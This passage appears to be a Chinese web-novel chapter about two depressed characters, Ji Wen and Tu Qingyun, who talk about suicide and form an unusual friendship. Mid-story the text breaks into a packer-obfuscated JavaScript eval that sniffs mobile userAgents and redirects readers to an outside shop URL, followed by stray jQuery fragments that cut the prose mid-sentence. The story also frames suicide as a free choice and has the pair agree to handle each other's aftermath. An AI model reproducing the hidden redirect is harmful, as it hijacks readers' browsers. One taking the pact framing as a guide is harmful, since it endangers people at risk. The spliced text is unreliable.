并不是身体上的问题，是他的心走不出去了，牵扯不起这具躯体。
躺在出租屋里晨昏颠倒，手机早已停机，他用平板刷着与自己无关的网络碎片，麻木地大笑，麻木地流泪。
直到房东找上门，把他撵了出去。
工作也没了。
拿到抑郁症诊断并不能进行劳动仲裁，缺勤太久，没有任何补偿。
家具抵了房租，季温拉着行李箱回到故土。一家三口曾经的老房子租给了一对小夫妻，没处去，他就近重新租了一室一厅。
光秃秃的床板，蒙了灰的窗玻璃，地砖缝里除不掉的污垢。
在床头摆上褪色的合照，季温坐在水泥地上，背对阳光，恍若隔世。
*
“以前我很胖的。”季温坐起身，在小腹前比划，“读研也没瘦下来，但就那两个月，肉全没了。”
涂青云一动不动地躺平：“后来呢？”
“我知道自己生病了，剩的钱不多，我全拿去看了医生，不过没想着让他给我治好。”季温说，“我就想问问其他人的意见：我都混成这样了，还有必要活下去吗？”
如果他说有，那一定是骗人的。
你都不认识我，怎么能从我贫瘠的描述里找到我的价值？
没有朋友，没有亲人，没有钱。若他失踪了，恐怕再也没人记得他。
涂青云想，这个人真是该死的会吊她胃口，她更睡不着了。
“那个医生说：活着不是一件需要理由的事。”他撑着头，声音放低，似乎在模仿某个人，“‘你有放弃生命的自由。但你来找我了，我只能和你说不要放弃——我必须遵守我的职业道德’。”
涂青云没憋住笑声。
季温也在笑：“唉，他还讲了很多，什么‘Care’、‘Dasein’……我都不好说我俩谁更有病，反正我们各说各的，说着说着，他就把药给我开好了。”
“……”涂青云笑够了，“所以，你是劝我去看医生？”
“比起话疗还是化学更管用。”季温道，“但我不会劝你，我又不是医生，没有这种义务。就如我的医生所说，‘你有选择的自由’，你的痛苦不是我的痛苦，我的选择也不是你的选择。”
涂青云也坐了起来，摁亮夜灯。滚圆的光团中青年看着她，目光柔和，像是端详过去的自己。
“但我还是想和你做朋友，在第一眼看见你时就这么想了。”
调整半年后他联系上了过去的导师，虽然他手下已招满了新的博士生，但愿意将他颇有好感的季温介绍到熟人门下。
新的老板人很好，季温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323976|199117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却难以恢复成学生心态。虽然药在逐渐减量，他却不觉得自己会持续好转并永久康复。人生总有意外，他的心上还悬着两个骨灰盒，为什么是他活了下来？有那么多想要活着的人死了，偏偏是他还活着。
真不公平。
他像是活在一个肥皂泡里，声音、光线，都经过扭曲才能抵达他的世界，外面美轮美奂，泡中逼仄且缺氧，但这一层水膜护住了他，让他还停留在人世。
直到看到那个喂猫的女人，啪——的一声，气泡破碎，空气涌入，水沫溅醒了梦游的他。
“你看着猫的眼神总是很羡慕。”季温握住那只搭在床沿的手，“我也是。我知道，你害怕的东西和我一样。”
“害怕自己的死给别人添麻烦。”
被规训着长大的孩子，向往原始而无拘无束的兽性，却连死亡也做不到自由。
沉默就是默认，涂青云却无法开口反驳。
季温说：“我想我们需要彼此，无论谁先放弃，作为朋友，我们都可以为对方善后。”
“你……”
“但你答应了不会死在我家，我也不想给房东添麻烦。”季温关掉夜灯，捏紧她的手，“睡吧。”
这绝对不是正常的朋友。
涂青云躺了回去，搂着被子，却没将手收回来。